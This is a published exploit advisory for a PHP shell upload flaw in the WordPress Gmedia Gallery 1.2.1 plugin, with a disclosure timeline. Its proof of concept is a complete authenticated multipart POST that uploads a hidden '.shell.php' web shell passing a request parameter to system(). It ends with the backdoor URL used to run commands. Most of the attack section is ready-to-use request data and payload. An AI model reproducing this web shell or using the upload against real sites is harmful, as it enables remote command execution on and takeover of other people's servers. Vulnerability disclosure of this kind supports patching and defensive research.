######################
# Exploit Title : Wordpress Gmedia Gallery 1.2.1 Shell Upload Vulnerability

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://www.codeasily.com/

# Software Link : http://downloads.wordpress.org/plugin/grand-media.zip

# Date : 2014-08-01

# Tested on : Windows 7 / Mozilla Firefox

######################

# Description :  

Any user could upload php files (administrator by default).

######################

# Vulnerability Disclosure Timeline:

2014-08-01:  Discovered vulnerability
2014-08-01:  Vendor Notification (Twitter)
2014-08-01:  Vendor Response/Feedback 
2014-08-02:  Vendor Fix/Patch 
2014-08-02:  Public Disclosure 

######################

# PoC:

POST
Host=127.0.0.1
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding=gzip, deflate
Referer=http://127.0.0.1/wordpress/wp-admin/admin.php?page=GrandMedia_AddMedia
Content-Length=916
Content-Type=multipart/form-data; boundary=---------------------------304431219031197
Cookie=wordpress_75aacd302e2a4723897cb1d154c13f77=pippo%7C1407087221%7Ce7319f78d3d8ab969d8896d72dc8c2da; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_75aacd302e2a4723897cb1d154c13f77=pippo%7C1407087221%7C7d38cc7811b5a07ab22e799069eed6e7; wp-settings-time-1=1406915840
Connection=keep-alive
Pragma=no-cache
Cache-Control=no-cache
POSTDATA =-----------------------------304431219031197
Content-Disposition: form-data; name="name"

.shell.php
-----------------------------304431219031197
Content-Disposition: form-data; name="chunk"

0
-----------------------------304431219031197
Content-Disposition: form-data; name="chunks"

1
-----------------------------304431219031197
Content-Disposition: form-data; name="params"

terms%5Bgmedia_category%5D=&terms%5Bgmedia_album%5D=&terms%5Bgmedia_tag%5D=
-----------------------------304431219031197
Content-Disposition: form-data; name="file"; filename=".shell.php"
Content-Type: application/octet-stream

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>



-----------------------------304431219031197--


Backdoor location:

http://127.0.0.1/wordpress/wp-content/grand-media/application/.shell.php?cmd=pwd


#####################

Discovered By : Claudio Viviani
          http://www.homelab.it
          info@homelab.it
          homelabit@protonmail.ch

          https://www.facebook.com/homelabit
          https://twitter.com/homelabit
          https://plus.google.com/+HomelabIt1/

#####################